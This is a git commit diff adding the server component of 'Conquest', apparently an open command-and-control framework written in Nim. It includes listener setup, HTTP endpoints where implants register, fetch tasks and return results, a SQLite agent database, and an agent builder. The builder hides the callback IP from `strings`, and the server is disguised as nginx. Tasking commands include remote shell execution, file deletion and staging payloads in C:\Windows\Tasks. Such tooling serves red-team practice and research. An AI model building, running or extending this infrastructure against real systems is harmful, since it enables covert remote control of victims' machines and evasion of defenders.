Updated directory structure.

This commit is contained in:
Jakob Friedl
2025-07-15 23:26:54 +02:00
parent 453971c0db
commit 668a4984d1
30 changed files with 139 additions and 136 deletions

169
src/server/core/agent.nim Normal file
View File

@@ -0,0 +1,169 @@
import terminal, strformat, strutils, sequtils, tables, json, times, base64, system, osproc, streams
import ./taskDispatcher
import ../utils
import ../db/database
import ../../types
#[
Agent management mode
These console commands allow dealing with agents from the Conquest framework's prompt interface
]#
proc agentUsage*(cq: Conquest) =
cq.writeLine("""Manage, build and interact with agents.
Usage:
agent [options] COMMAND
Commands:
list List all agents.
info Display details for a specific agent.
kill Terminate the connection of an active listener and remove it from the interface.
interact Interact with an active agent.
Options:
-h, --help""")
# List agents
proc agentList*(cq: Conquest, listener: string) =
# If no argument is passed via -n, list all agents, otherwise only display agents connected to a specific listener
if listener == "":
cq.drawTable(cq.dbGetAllAgents())
else:
# Check if listener exists
if not cq.dbListenerExists(listener.toUpperAscii):
cq.writeLine(fgRed, styleBright, fmt"[-] Listener {listener.toUpperAscii} does not exist.")
return
cq.drawTable(cq.dbGetAllAgentsByListener(listener.toUpperAscii))
# Display agent properties and details
proc agentInfo*(cq: Conquest, name: string) =
# Check if agent supplied via -n parameter exists in database
if not cq.dbAgentExists(name.toUpperAscii):
cq.writeLine(fgRed, styleBright, fmt"[-] Agent {name.toUpperAscii} does not exist.")
return
let agent = cq.agents[name.toUpperAscii]
# TODO: Improve formatting
cq.writeLine(fmt"""
Agent name (UUID): {agent.name}
Connected to listener: {agent.listener}
──────────────────────────────────────────
Username: {agent.username}
Hostname: {agent.hostname}
Domain: {agent.domain}
IP-Address: {agent.ip}
Operating system: {agent.os}
──────────────────────────────────────────
Process name: {agent.process}
Process ID: {$agent.pid}
Process elevated: {$agent.elevated}
First checkin: {agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss")}
Latest checkin: {agent.latestCheckin.format("dd-MM-yyyy HH:mm:ss")}
""")
# Terminate agent and remove it from the database
proc agentKill*(cq: Conquest, name: string) =
# Check if agent supplied via -n parameter exists in database
if not cq.dbAgentExists(name.toUpperAscii):
cq.writeLine(fgRed, styleBright, fmt"[-] Agent {name.toUpperAscii} does not exist.")
return
# TODO: Stop the process of the agent on the target system
# TODO: Add flag to self-delete executable after killing agent
# Remove the agent from the database
if not cq.dbDeleteAgentByName(name.toUpperAscii):
cq.writeLine(fgRed, styleBright, "[-] Failed to terminate agent: ", getCurrentExceptionMsg())
return
cq.delAgent(name)
cq.writeLine(fgYellow, styleBright, "[+] ", resetStyle, "Terminated agent ", fgYellow, styleBright, name.toUpperAscii, resetStyle, ".")
# Switch to interact mode
proc agentInteract*(cq: Conquest, name: string) =
# Verify that agent exists
if not cq.dbAgentExists(name.toUpperAscii):
cq.writeLine(fgRed, styleBright, fmt"[-] Agent {name.toUpperAscii} does not exist.")
return
let agent = cq.agents[name.toUpperAscii]
var command: string = ""
# Change prompt indicator to show agent interaction
cq.setIndicator(fmt"[{agent.name}]> ")
cq.setStatusBar(@[("[mode]", "interact"), ("[username]", fmt"{agent.username}"), ("[hostname]", fmt"{agent.hostname}"), ("[ip]", fmt"{agent.ip}"), ("[domain]", fmt"{agent.domain}")])
cq.writeLine(fgYellow, styleBright, "[+] ", resetStyle, fmt"Started interacting with agent ", fgYellow, styleBright, agent.name, resetStyle, ". Type 'help' to list available commands.\n")
cq.interactAgent = agent
while command.replace(" ", "") != "back":
command = cq.readLine()
cq.withOutput(handleAgentCommand, command)
cq.interactAgent = nil
# Agent generation
proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
# Verify that listener exists
if not cq.dbListenerExists(listener.toUpperAscii):
cq.writeLine(fgRed, styleBright, fmt"[-] Listener {listener.toUpperAscii} does not exist.")
return
let listener = cq.listeners[listener.toUpperAscii]
# Create/overwrite nim.cfg file to set agent configuration
let agentConfigFile = fmt"../src/agents/{payload}/nim.cfg"
# Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command
let (first, second, third, fourth) = parseOctets(listener.address)
# The following shows the format of the agent configuration file that defines compile-time variables
let config = fmt"""
# Agent configuration
-d:ListenerUuid="{listener.name}"
-d:Octet1="{first}"
-d:Octet2="{second}"
-d:Octet3="{third}"
-d:Octet4="{fourth}"
-d:ListenerPort={listener.port}
-d:SleepDelay={sleep}
""".replace(" ", "")
writeFile(agentConfigFile, config)
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Configuration file created.")
# Build agent by executing the ./build.sh script on the system.
let agentBuildScript = fmt"../src/agents/{payload}/build.sh"
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Building agent...")
try:
# Using the startProcess function from the 'osproc' module, it is possible to retrieve the output as it is received, line-by-line instead of all at once
let process = startProcess(agentBuildScript, options={poUsePath, poStdErrToStdOut})
let outputStream = process.outputStream
var line: string
while outputStream.readLine(line):
cq.writeLine(line)
let exitCode = process.waitForExit()
# Check if the build succeeded or not
if exitCode == 0:
cq.writeLine(fgGreen, "[+] ", resetStyle, "Agent payload generated successfully.")
else:
cq.writeLine(fgRed, styleBright, "[-] ", resetStyle, "Build script exited with code ", $exitCode)
except CatchableError as err:
cq.writeLine(fgRed, styleBright, "[-] ", resetStyle, "An error occurred: ", err.msg)

View File

@@ -0,0 +1,90 @@
import terminal, strformat, strutils, sequtils, tables, json, times, base64, system, osproc, streams
import ../globals
import ../db/database
import ../../types
#[
Agent API
Functions relevant for dealing with the agent API, such as registering new agents, querying tasks and posting results
]#
proc register*(agent: Agent): bool =
# The following line is required to be able to use the `cq` global variable for console output
{.cast(gcsafe).}:
# Check if listener that is requested exists
# TODO: Verify that the listener accessed is also the listener specified in the URL
# This can be achieved by extracting the port number from the `Host` header and matching it to the one queried from the database
if not cq.dbListenerExists(agent.listener.toUpperAscii):
cq.writeLine(fgRed, styleBright, fmt"[-] {agent.ip} attempted to register to non-existent listener: {agent.listener}.", "\n")
return false
# Store agent in database
if not cq.dbStoreAgent(agent):
cq.writeLine(fgRed, styleBright, fmt"[-] Failed to insert agent {agent.name} into database.", "\n")
return false
cq.add(agent)
let date = agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss")
cq.writeLine(fgYellow, styleBright, fmt"[{date}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.name, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listener, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n")
return true
proc getTasks*(listener, agent: string): JsonNode =
{.cast(gcsafe).}:
# Check if listener exists
if not cq.dbListenerExists(listener.toUpperAscii):
cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent listener: {listener}.", "\n")
return nil
# Check if agent exists
if not cq.dbAgentExists(agent.toUpperAscii):
cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent agent: {agent}.", "\n")
return nil
# Update the last check-in date for the accessed agent
cq.agents[agent.toUpperAscii].latestCheckin = now()
# if not cq.dbUpdateCheckin(agent.toUpperAscii, now().format("dd-MM-yyyy HH:mm:ss")):
# return nil
# Return tasks in JSON format
return %cq.agents[agent.toUpperAscii].tasks
proc handleResult*(listener, agent, task: string, taskResult: TaskResult) =
{.cast(gcsafe).}:
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
if taskResult.status == Failed:
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, fmt"Task {task} failed.")
if taskResult.data != "":
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, "Output:")
# Split result string on newline to keep formatting
for line in decode(taskResult.data).split("\n"):
cq.writeLine(line)
else:
cq.writeLine()
else:
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, fmt"Task {task} finished.")
if taskResult.data != "":
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, "Output:")
# Split result string on newline to keep formatting
for line in decode(taskResult.data).split("\n"):
cq.writeLine(line)
else:
cq.writeLine()
# Update task queue to include all tasks, except the one that was just completed
cq.agents[agent].tasks = cq.agents[agent].tasks.filterIt(it.id != task)
return

View File

@@ -0,0 +1,113 @@
import prologue, nanoid, json
import sequtils, strutils, times
import ./agentApi
import ../../types
proc error404*(ctx: Context) {.async.} =
resp "", Http404
#[
POST /{listener-uuid}/register
Called from agent to register itself to the conquest server
]#
proc register*(ctx: Context) {.async.} =
# Check headers
# If POST data is not JSON data, return 404 error code
if ctx.request.contentType != "application/json":
resp "", Http404
return
# The JSON data for the agent registration has to be in the following format
#[
{
"username": "username",
"hostname":"hostname",
"domain": "domain.local",
"ip": "ip-address",
"os": "operating-system",
"process": "agent.exe",
"pid": 1234,
"elevated": false.
"sleep": 10
}
]#
try:
let
postData: JsonNode = parseJson(ctx.request.body)
agentRegistrationData: AgentRegistrationData = postData.to(AgentRegistrationData)
agentUuid: string = generate(alphabet=join(toSeq('A'..'Z'), ""), size=8)
listenerUuid: string = ctx.getPathParams("listener")
date: DateTime = now()
let agent: Agent = newAgent(agentUuid, listenerUuid, date, agentRegistrationData)
# Fully register agent and add it to database
if not agent.register():
# Either the listener the agent tries to connect to does not exist in the database, or the insertion of the agent failed
# Return a 404 error code either way
resp "", Http404
return
# If registration is successful, the agent receives it's UUID, which is then used to poll for tasks and post results
resp agent.name
except CatchableError:
# JSON data is invalid or does not match the expected format (described above)
resp "", Http404
return
#[
GET /{listener-uuid}/{agent-uuid}/tasks
Called from agent to check for new tasks
]#
proc getTasks*(ctx: Context) {.async.} =
let
listener = ctx.getPathParams("listener")
agent = ctx.getPathParams("agent")
let tasksJson = getTasks(listener, agent)
# If agent/listener is invalid, return a 404 Not Found error code
if tasksJson == nil:
resp "", Http404
# Return all currently active tasks as a JsonObject
resp jsonResponse(tasksJson)
#[
POST /{listener-uuid}/{agent-uuid}/{task-uuid}/results
Called from agent to post results of a task
]#
proc postResults*(ctx: Context) {.async.} =
let
listener = ctx.getPathParams("listener")
agent = ctx.getPathParams("agent")
task = ctx.getPathParams("task")
# Check headers
# If POST data is not JSON data, return 404 error code
if ctx.request.contentType != "application/json":
resp "", Http404
return
try:
let
taskResultJson: JsonNode = parseJson(ctx.request.body)
taskResult: TaskResult = taskResultJson.to(TaskResult)
# Handle and display task result
handleResult(listener, agent, task, taskResult)
except CatchableError:
# JSON data is invalid or does not match the expected format (described above)
resp "", Http404
return

View File

@@ -0,0 +1,115 @@
import strformat, strutils, sequtils, nanoid, terminal
import prologue
import ./endpoints
import ../utils
import ../db/database
import ../../types
proc listenerUsage*(cq: Conquest) =
cq.writeLine("""Manage, start and stop listeners.
Usage:
listener [options] COMMAND
Commands:
list List all active listeners.
start Starts a new HTTP listener.
stop Stop an active listener.
Options:
-h, --help""")
proc listenerList*(cq: Conquest) =
let listeners = cq.dbGetAllListeners()
cq.drawTable(listeners)
proc listenerStart*(cq: Conquest, host: string, portStr: string) =
# Validate arguments
if not validatePort(portStr):
cq.writeLine(fgRed, styleBright, fmt"[-] Invalid port number: {portStr}")
return
let port = portStr.parseInt
# Create new listener
let
name: string = generate(alphabet=join(toSeq('A'..'Z'), ""), size=8)
listenerSettings = newSettings(
appName = name,
debug = false,
address = "", # For some reason, the program crashes when the ip parameter is passed to the newSettings function
port = Port(port) # As a result, I will hardcode the listener to be served on all interfaces (0.0.0.0) by default
) # TODO: fix this issue and start the listener on the address passed as the HOST parameter
var listener = newApp(settings = listenerSettings)
# Define API endpoints
listener.post("{listener}/register", endpoints.register)
listener.get("{listener}/{agent}/tasks", endpoints.getTasks)
listener.post("{listener}/{agent}/{task}/results", endpoints.postResults)
listener.registerErrorHandler(Http404, endpoints.error404)
# Store listener in database
var listenerInstance = newListener(name, host, port)
if not cq.dbStoreListener(listenerInstance):
return
# Start serving
try:
discard listener.runAsync()
cq.add(listenerInstance)
cq.writeLine(fgGreen, "[+] ", resetStyle, "Started listener", fgGreen, fmt" {name} ", resetStyle, fmt"on port {portStr}.")
except CatchableError as err:
cq.writeLine(fgRed, styleBright, "[-] Failed to start listener: ", err.msg)
proc restartListeners*(cq: Conquest) =
let listeners: seq[Listener] = cq.dbGetAllListeners()
# Restart all active listeners that are stored in the database
for l in listeners:
let
settings = newSettings(
appName = l.name,
debug = false,
address = "",
port = Port(l.port)
)
listener = newApp(settings = settings)
# Define API endpoints
listener.post("{listener}/register", endpoints.register)
listener.get("{listener}/{agent}/tasks", endpoints.getTasks)
listener.post("{listener}/{agent}/{task}/results", endpoints.postResults)
listener.registerErrorHandler(Http404, endpoints.error404)
try:
discard listener.runAsync()
cq.add(l)
cq.writeLine(fgGreen, "[+] ", resetStyle, "Restarted listener", fgGreen, fmt" {l.name} ", resetStyle, fmt"on port {$l.port}.")
except CatchableError as err:
cq.writeLine(fgRed, styleBright, "[-] Failed to restart listener: ", err.msg)
# Delay before starting serving another listener to avoid crashing the application
waitFor sleepAsync(10)
cq.writeLine("")
# Remove listener from database, preventing automatic startup on server restart
proc listenerStop*(cq: Conquest, name: string) =
# Check if listener supplied via -n parameter exists in database
if not cq.dbListenerExists(name.toUpperAscii):
cq.writeLine(fgRed, styleBright, fmt"[-] Listener {name.toUpperAscii} does not exist.")
return
# Remove database entry
if not cq.dbDeleteListenerByName(name.toUpperAscii):
cq.writeLine(fgRed, styleBright, "[-] Failed to stop listener: ", getCurrentExceptionMsg())
return
cq.delListener(name)
cq.writeLine(fgGreen, "[+] ", resetStyle, "Stopped listener ", fgGreen, name.toUpperAscii, resetStyle, ".")

View File

@@ -0,0 +1,264 @@
import argparse, times, strformat, terminal, nanoid, tables, json, sequtils
import ../../types
#[
Agent Argument parsing
]#
proc initAgentCommands*(): Table[CommandType, Command] =
var commands = initTable[CommandType, Command]()
commands[ExecuteShell] = Command(
name: "shell",
commandType: ExecuteShell,
description: "Execute a shell command and retrieve the output.",
example: "shell whoami /all",
arguments: @[
Argument(name: "command", description: "Command to be executed.", argumentType: String, isRequired: true),
Argument(name: "arguments", description: "Arguments to be passed to the command.", argumentType: String, isRequired: false)
]
)
commands[Sleep] = Command(
name: "sleep",
commandType: Sleep,
description: "Update sleep delay configuration.",
example: "sleep 5",
arguments: @[
Argument(name: "delay", description: "Delay in seconds.", argumentType: Int, isRequired: true)
]
)
commands[GetWorkingDirectory] = Command(
name: "pwd",
commandType: GetWorkingDirectory,
description: "Retrieve current working directory.",
example: "pwd",
arguments: @[]
)
commands[SetWorkingDirectory] = Command(
name: "cd",
commandType: SetWorkingDirectory,
description: "Change current working directory.",
example: "cd C:\\Windows\\Tasks",
arguments: @[
Argument(name: "directory", description: "Relative or absolute path of the directory to change to.", argumentType: String, isRequired: true)
]
)
commands[ListDirectory] = Command(
name: "ls",
commandType: ListDirectory,
description: "List files and directories.",
example: "ls C:\\Users\\Administrator\\Desktop",
arguments: @[
Argument(name: "directory", description: "Relative or absolute path. Default: current working directory.", argumentType: String, isRequired: false)
]
)
commands[RemoveFile] = Command(
name: "rm",
commandType: RemoveFile,
description: "Remove a file.",
example: "rm C:\\Windows\\Tasks\\payload.exe",
arguments: @[
Argument(name: "file", description: "Relative or absolute path to the file to delete.", argumentType: String, isRequired: true)
]
)
commands[RemoveDirectory] = Command(
name: "rmdir",
commandType: RemoveDirectory,
description: "Remove a directory.",
example: "rm C:\\Payloads",
arguments: @[
Argument(name: "directory", description: "Relative or absolute path to the directory to delete.", argumentType: String, isRequired: true)
]
)
commands[Move] = Command(
name: "move",
commandType: Move,
description: "Move a file or directory.",
example: "move source.exe C:\\Windows\\Tasks\\destination.exe",
arguments: @[
Argument(name: "source", description: "Source file path.", argumentType: String, isRequired: true),
Argument(name: "destination", description: "Destination file path.", argumentType: String, isRequired: true)
]
)
commands[Copy] = Command(
name: "copy",
commandType: Copy,
description: "Copy a file or directory.",
example: "copy source.exe C:\\Windows\\Tasks\\destination.exe",
arguments: @[
Argument(name: "source", description: "Source file path.", argumentType: String, isRequired: true),
Argument(name: "destination", description: "Destination file path.", argumentType: String, isRequired: true)
]
)
return commands
let commands = initAgentCommands()
proc getCommandFromTable(cmd: string, commands: Table[CommandType, Command]): (CommandType, Command) =
let commandType = parseEnum[CommandType](cmd.toLowerAscii())
let command = commands[commandType]
(commandType, command)
proc parseAgentCommand(input: string): seq[string] =
var i = 0
while i < input.len:
# Skip whitespaces/tabs
while i < input.len and input[i] in {' ', '\t'}:
inc i
if i >= input.len:
break
var arg = ""
if input[i] == '"':
# Parse quoted argument
inc i # Skip opening quote
# Add parsed argument when quotation is closed
while i < input.len and input[i] != '"':
arg.add(input[i])
inc i
if i < input.len:
inc i # Skip closing quote
else:
while i < input.len and input[i] notin {' ', '\t'}:
arg.add(input[i])
inc i
# Add argument to returned result
if arg.len > 0: result.add(arg)
proc displayHelp(cq: Conquest, commands: Table[CommandType, Command]) =
cq.writeLine("Available commands:")
cq.writeLine(" * back")
for key, cmd in commands:
cq.writeLine(fmt" * {cmd.name:<15}{cmd.description}")
cq.writeLine()
proc displayCommandHelp(cq: Conquest, command: Command) =
var usage = command.name & " " & command.arguments.mapIt(
if it.isRequired: fmt"<{it.name}>" else: fmt"[{it.name}]"
).join(" ")
if command.example != "":
usage &= "\nExample : " & command.example
cq.writeLine(fmt"""
{command.description}
Usage : {usage}
""")
if command.arguments.len > 0:
cq.writeLine("Arguments:")
let header = @["Name", "Type", "", "Description"]
cq.writeLine(fmt" {header[0]:<15} {header[1]:<8}{header[2]:<10} {header[3]}")
cq.writeLine(fmt" {'-'.repeat(15)} {'-'.repeat(18)} {'-'.repeat(20)}")
for arg in command.arguments:
let requirement = if arg.isRequired: "(REQUIRED)" else: "(OPTIONAL)"
cq.writeLine(fmt" * {arg.name:<15} {($arg.argumentType).toUpperAscii():<8}{requirement:<10} {arg.description}")
cq.writeLine()
proc handleHelp(cq: Conquest, parsed: seq[string], commands: Table[CommandType, Command]) =
try:
# Try parsing the first argument passed to 'help' as a command
let (commandType, command) = getCommandFromTable(parsed[1], commands)
cq.displayCommandHelp(command)
except IndexDefect:
# 'help' command is called without additional parameters
cq.displayHelp(commands)
except ValueError:
# Command was not found
cq.writeLine(fgRed, styleBright, fmt"[-] The command '{parsed[1]}' does not exist." & '\n')
proc packageArguments(cq: Conquest, command: Command, arguments: seq[string]): JsonNode =
# Construct a JSON payload with argument names and values
result = newJObject()
let parsedArgs = if arguments.len > 1: arguments[1..^1] else: @[] # Remove first element from sequence to only handle arguments
# Check if the correct amount of parameters are passed
if parsedArgs.len < command.arguments.filterIt(it.isRequired).len:
cq.displayCommandHelp(command)
raise newException(ValueError, "Missing required arguments.")
for i, argument in command.arguments:
# Argument provided - convert to the corresponding data type
if i < parsedArgs.len:
case argument.argumentType:
of Int:
result[argument.name] = %parseUInt(parsedArgs[i])
of Binary:
# Read file into memory and convert it into a base64 string
result[argument.name] = %""
else:
# The last optional argument is joined together
# This is required for non-quoted input with infinite length, such as `shell mv arg1 arg2`
if i == command.arguments.len - 1 and not argument.isRequired:
result[argument.name] = %parsedArgs[i..^1].join(" ")
else:
result[argument.name] = %parsedArgs[i]
# Argument not provided - set to empty string for optional args
else:
# If a required argument is not provided, display the help text
if argument.isRequired:
cq.displayCommandHelp(command)
return
else:
result[argument.name] = %""
proc createTask*(cq: Conquest, command: CommandType, args: string, message: string) =
let
date = now().format("dd-MM-yyyy HH:mm:ss")
task = Task(
id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8),
agent: cq.interactAgent.name,
command: command,
args: args,
)
cq.interactAgent.tasks.add(task)
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, message)
proc handleAgentCommand*(cq: Conquest, input: string) =
# Return if no command (or just whitespace) is entered
if input.replace(" ", "").len == 0: return
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
cq.writeLine(fgBlue, styleBright, fmt"[{date}] ", fgYellow, fmt"[{cq.interactAgent.name}] ", resetStyle, styleBright, input)
let parsedArgs = parseAgentCommand(input)
# Handle 'back' command
if parsedArgs[0] == "back":
return
# Handle 'help' command
if parsedArgs[0] == "help":
cq.handleHelp(parsedArgs, commands)
return
# Handle commands with actions on the agent
try:
let (commandType, command) = getCommandFromTable(parsedArgs[0], commands)
let payload = cq.packageArguments(command, parsedArgs)
cq.createTask(commandType, $payload, fmt"Tasked agent to {command.description.toLowerAscii()}")
except ValueError as err:
cq.writeLine(fgRed, styleBright, fmt"[-] {err.msg}" & "\n")
return

View File

@@ -0,0 +1,46 @@
import system, terminal, tiny_sqlite
import ./[dbAgent, dbListener]
import ../../types
# Export functions so that only ./db/database is required to be imported
export dbAgent, dbListener
proc dbInit*(cq: Conquest) =
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
# Create tables
conquestDb.execScript("""
CREATE TABLE listeners (
name TEXT PRIMARY KEY,
address TEXT NOT NULL,
port INTEGER NOT NULL UNIQUE,
protocol TEXT NOT NULL CHECK (protocol IN ('http'))
);
CREATE TABLE agents (
name TEXT PRIMARY KEY,
listener TEXT NOT NULL,
process TEXT NOT NULL,
pid INTEGER NOT NULL,
username TEXT NOT NULL,
hostname TEXT NOT NULL,
domain TEXT NOT NULL,
ip TEXT NOT NULL,
os TEXT NOT NULL,
elevated BOOLEAN NOT NULL,
sleep INTEGER DEFAULT 10,
jitter REAL DEFAULT 0.1,
firstCheckin DATETIME NOT NULL,
latestCheckin DATETIME NOT NULL,
FOREIGN KEY (listener) REFERENCES listeners(name)
);
""")
cq.writeLine(fgGreen, "[+] ", cq.dbPath, ": Database created.")
conquestDb.close()
except SqliteError as err:
cq.writeLine(fgGreen, "[+] ", cq.dbPath, ": Database file found.")

141
src/server/db/dbAgent.nim Normal file
View File

@@ -0,0 +1,141 @@
import system, terminal, tiny_sqlite, times
import ../../types
#[
Agent database functions
]#
proc dbStoreAgent*(cq: Conquest, agent: Agent): bool =
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
conquestDb.exec("""
INSERT INTO agents (name, listener, process, pid, username, hostname, domain, ip, os, elevated, sleep, jitter, firstCheckin, latestCheckin)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
""", agent.name, agent.listener, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ip, agent.os, agent.elevated, agent.sleep, agent.jitter, agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss"), agent.latestCheckin.format("dd-MM-yyyy HH:mm:ss"))
conquestDb.close()
except:
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
return false
return true
proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
var agents: seq[Agent] = @[]
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
for row in conquestDb.iterate("SELECT name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin FROM agents;"):
let (name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string))
let a = Agent(
name: name,
listener: listener,
sleep: sleep,
pid: pid,
username: username,
hostname: hostname,
domain: domain,
ip: ip,
os: os,
elevated: elevated,
firstCheckin: parse(firstCheckin, "dd-MM-yyyy HH:mm:ss"),
latestCheckin: parse(latestCheckin, "dd-MM-yyyy HH:mm:ss"),
jitter: jitter,
process: process
)
agents.add(a)
conquestDb.close()
except:
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
return agents
proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] =
var agents: seq[Agent] = @[]
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
for row in conquestDb.iterate("SELECT name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin FROM agents WHERE listener = ?;", listenerName):
let (name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string))
let a = Agent(
name: name,
listener: listener,
sleep: sleep,
pid: pid,
username: username,
hostname: hostname,
domain: domain,
ip: ip,
os: os,
elevated: elevated,
firstCheckin: parse(firstCheckin, "dd-MM-yyyy HH:mm:ss"),
latestCheckin: parse(latestCheckin, "dd-MM-yyyy HH:mm:ss"),
jitter: jitter,
process: process,
)
agents.add(a)
conquestDb.close()
except:
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
return agents
proc dbDeleteAgentByName*(cq: Conquest, name: string): bool =
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
conquestDb.exec("DELETE FROM agents WHERE name = ?", name)
conquestDb.close()
except:
return false
return true
proc dbAgentExists*(cq: Conquest, agentName: string): bool =
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
let res = conquestDb.one("SELECT 1 FROM agents WHERE name = ? LIMIT 1", agentName)
conquestDb.close()
return res.isSome
except:
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
return false
proc dbUpdateCheckin*(cq: Conquest, agentName: string, timestamp: string): bool =
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
conquestDb.exec("UPDATE agents SET latestCheckin = ? WHERE name = ?", timestamp, agentName)
conquestDb.close()
return true
except:
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
return false
proc dbUpdateSleep*(cq: Conquest, agentName: string, delay: int): bool =
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
conquestDb.exec("UPDATE agents SET sleep = ? WHERE name = ?", delay, agentName)
conquestDb.close()
return true
except:
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
return false

View File

@@ -0,0 +1,71 @@
import system, terminal, tiny_sqlite
import ../../types
#[
Listener database functions
]#
proc dbStoreListener*(cq: Conquest, listener: Listener): bool =
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
conquestDb.exec("""
INSERT INTO listeners (name, address, port, protocol)
VALUES (?, ?, ?, ?);
""", listener.name, listener.address, listener.port, $listener.protocol)
conquestDb.close()
except:
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
return false
return true
proc dbGetAllListeners*(cq: Conquest): seq[Listener] =
var listeners: seq[Listener] = @[]
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
for row in conquestDb.iterate("SELECT name, address, port, protocol FROM listeners;"):
let (name, address, port, protocol) = row.unpack((string, string, int, string))
let l = Listener(
name: name,
address: address,
port: port,
protocol: stringToProtocol(protocol),
)
listeners.add(l)
conquestDb.close()
except:
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
return listeners
proc dbDeleteListenerByName*(cq: Conquest, name: string): bool =
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
conquestDb.exec("DELETE FROM listeners WHERE name = ?", name)
conquestDb.close()
except:
return false
return true
proc dbListenerExists*(cq: Conquest, listenerName: string): bool =
try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
let res = conquestDb.one("SELECT 1 FROM listeners WHERE name = ? LIMIT 1", listenerName)
conquestDb.close()
return res.isSome
except:
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
return false

9
src/server/globals.nim Normal file
View File

@@ -0,0 +1,9 @@
import ../types
# Global variable for handling listeners, agents and console output
var cq*: Conquest
# Colors
# https://colors.sh/
const red* = "\e[210;66;79m"
const resetColor* = "\e[0m"

4
src/server/nim.cfg Normal file
View File

@@ -0,0 +1,4 @@
# Compiler flags
--threads:on
-d:httpxServerName="nginx"
--outdir:"../bin"

161
src/server/server.nim Normal file
View File

@@ -0,0 +1,161 @@
import prompt, terminal, argparse
import strutils, strformat, times, system, tables
import ./globals
import core/agent, core/listener, db/database
import ../types
#[
Argument parsing
]#
var parser = newParser:
help("Conquest Command & Control")
nohelpflag()
command("listener"):
help("Manage, start and stop listeners.")
command("list"):
help("List all active listeners.")
command("start"):
help("Starts a new HTTP listener.")
option("-i", "--ip", default=some("127.0.0.1"), help="IPv4 address to listen on.", required=false)
option("-p", "--port", help="Port to listen on.", required=true)
# TODO: Future features:
# flag("--dns", help="Use the DNS protocol for C2 communication.")
# flag("--doh", help="Use DNS over HTTPS for C2 communication.)
command("stop"):
help("Stop an active listener.")
option("-n", "--name", help="Name of the listener.", required=true)
command("agent"):
help("Manage, build and interact with agents.")
command("list"):
help("List all agents.")
option("-l", "--listener", help="Name of the listener.")
command("info"):
help("Display details for a specific agent.")
option("-n", "--name", help="Name of the agent.", required=true)
command("kill"):
help("Terminate the connection of an active listener and remove it from the interface.")
option("-n", "--name", help="Name of the agent.", required=true)
# flag("--self-delete", help="Remove agent executable from target system.")
command("interact"):
help("Interact with an active agent.")
option("-n", "--name", help="Name of the agent.", required=true)
command("build"):
help("Generate a new agent to connect to an active listener.")
option("-l", "--listener", help="Name of the listener.", required=true)
option("-s", "--sleep", help="Sleep delay in seconds.", default=some("10") )
option("-p", "--payload", help="Agent type.\n\t\t\t ", default=some("monarch"), choices = @["monarch"],)
command("help"):
nohelpflag()
command("exit"):
nohelpflag()
proc handleConsoleCommand*(cq: Conquest, args: string) =
# Return if no command (or just whitespace) is entered
if args.replace(" ", "").len == 0: return
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
cq.writeLine(fgBlue, styleBright, fmt"[{date}] ", resetStyle, styleBright, args)
try:
let opts = parser.parse(args.split(" ").filterIt(it.len > 0))
case opts.command
of "exit": # Exit program
echo "\n"
quit(0)
of "help": # Display help menu
cq.writeLine(parser.help())
of "listener":
case opts.listener.get.command
of "list":
cq.listenerList()
of "start":
